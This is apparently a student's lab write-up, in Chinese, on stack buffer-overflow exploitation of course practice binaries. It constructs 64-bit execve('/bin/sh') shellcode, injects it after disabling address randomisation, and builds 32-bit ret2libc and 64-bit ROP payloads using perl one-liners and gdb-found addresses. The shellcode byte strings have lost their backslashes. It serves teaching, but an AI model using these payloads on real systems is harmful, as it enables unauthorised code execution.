20155213实验一进阶

20155213实验一进阶

任务一:构造Shellcode(64位)

shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式。

Shellcode有几点要求,首先是要调用系统函数获取shell权限,其次是Shellcode里面不能出现x00

编写Shellcode的具体步骤:

  1. 先编写一个使用execve()函数调用的C程序,看一下其内部都是怎么实现的。
#include<stdlib.h>
#include<unistd.h>
char*buf[]={"/bin/sh",NULL};
void main()
{
	execve("/bin/sh",buf,0);
	exit(0);
}
  1. 编译查看反汇编,同时定位到main和execve两个函数处,可以发现execve就相当于执行syscall然后调用0x3b调用号,可以查到。0x3b就是execve的调用号

  2. 到了这一步就可以开始编写.asm文件了,因为64位的参数都是放在寄存器里的,超过六个参数才会压栈,所以,我们需要把"/bin/sh"放到rdx里面去,之后将其地址压入栈顶,随后调用将0x3b调用号赋给rax寄存器,最后调用syscall就行了

  3. 编译该汇编文件,nasm -f elf64 Shellcode_64.asm,ld -o Shellcode_64 Shellcode_64.o

  4. 查看并抠出Shellcode_64的机器码

  5. 根据第五步抠出的机器码,测试一下,看看能不能用。写一段C的测试代码:

#include<stdlib.h>
#include<unistd.h>
void main()
{
	char ch[]="x48x31xd2"
	"x48xbbxffx2fx62x69x6e"
	"x2fx73x68" 
	"x48xc1xebx08"
	"x53"       
	"x48x89xe7"      
	"x48x31xc0"          
	"x50"                   
	"x57"                  
	"x48x89xe6"             
	"xb0x3b"                
	"x0fx05";
	void (*fp)(void);
	fp=(void*)ch;
	fp();
}


需要注意的是,编译这个时,要加上一句-z execstack,即开启堆栈可执行。

任务二:64位Shellcode的注入

  • 类似32位的做法:
    • 0x01:先关闭地址随机化;
    • 0x02:在设置pwn的堆栈可执行;
    • 0x03:测试foo函数返回地址在栈中存储的位置;
    • 0x04:修改payload;
    • 0x05:注入执行;
  • 下面来一步一步执行:
    1. bash里输入echo "0" > /proc/sys/kernel/randomize_va_space,将randomize_va_space设为0,可以通过more /proc/sys/kernel/randomize_va_space来查看;
    2. bash里面输入execstack -s pwn20155213将pwn20155213可执行文件设置为堆栈可执行,其中可以通过execstack -q pwn20155213查看是否设置成功;
    3. 先构造一个input16进制文件,之后通过输入(cat input ;cat )|./pwn20155213将input传入执行中的pwn20155213中,这时打开另一个终端,查找pwn20155213的运行进程,找到后,在gdb调试,里输入attach指令;查找foo返回地址,查看其中内容;


    4. 由上一步可以看出rsp的下一个地址的内容是被“44444444”所覆盖了,所以当这里改为rsp的下一个地址即可,而其后改为所要注入的Shellcode,payload就完成了。
    5. 执行注入攻击;

      攻击成功,但值得注意,上图显示的没有所有payload字符,这是因为在构造payload时,存在x00。

任务三:32位及62位bof攻击(开启堆栈保护且关闭地址随机化)

(1)32位bof攻击

  • 步骤:
    • 0x01:关闭地址随机化(如任务二)
    • 0x02:使用事先编译好的32位程序level,进入gdb调试
    • 0x03:由第二步分别获得/bin/sh,system的位置编写进将要注入的payload
    • 0x04:将写好的payload注入攻击
  • 具体实现:
    1. bash里输入echo "0" > /proc/sys/kernel/randomize_va_space,将randomize_va_space设为0,可以通过more /proc/sys/kernel/randomize_va_space来查看;
      (PS)同时使用execstack -c level恢复level的堆栈保护;

    2. 在bash里输入gdb ./level之后,开始调试:

      • 先将在main处设置断点,然后运行程序

      • 输入print system查看system在内存中的位置,如图位置在0xf7e03c60

      • 输入print __libc_start_main查看__libc_start_main的位置,同时根据__libc_start_main的位置,找到/bin/sh的位置

      • 输入"1111111222222223333333344444444"并查看溢出位置,基本如任务二;

    3. 由第二步得到的system/bin/sh的位置,编写payload,perl -e 'print "A"x28;print "x60x3cxe0xf7xabxacxadxaex08x28xf4xf7"'

    4. 如图操作,注入成功;

(2)64位bof攻击

  • 步骤:
    • 0x01:关闭地址随机化(如任务二)
    • 0x02:查找pop rdi;ret的位置
    • 0x03:使用事先编译好的64位程序pwn20155213,进入gdb调试
    • 0x04:由第二步分别获得pop rdi;ret/bin/sh,system的位置编写进将要注入的payload
    • 0x05:将写好的payload注入攻击
  • 具体实现:
    1. bash里输入echo "0" > /proc/sys/kernel/randomize_va_space,将randomize_va_space设为0,可以通过more /proc/sys/kernel/randomize_va_space来查看;
      (PS)同时使用execstack -c level恢复level的堆栈保护;
    2. 使用ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi,如果查找不到需要的pop rdi;ret则将pwn20155213换成/lib/x86_64-linux-gnu/libc.so.6
      ,这里我们使用pwn20155213的内部地址及0x733,这是相对地址,并不是最后的运行起来的地址。
    3. 根据第二步,查看pwn20155213反汇编,了解到0x733这个地址存在于__libc_csu_init这段代码里,进而在gdb里,查看这段代码,得到pop rdi;ret的位置为0x0000555555554733,


      之后跟32位同样,先测试出哪里溢出;

      再分别查看system/bin/sh的位置(0x7ffff7a60510,0x7ffff7b9b3f3
    4. 根据第三步,编写payload;
    5. 注入攻击,如图攻击成功;
原文地址:https://www.cnblogs.com/elevator/p/8660929.html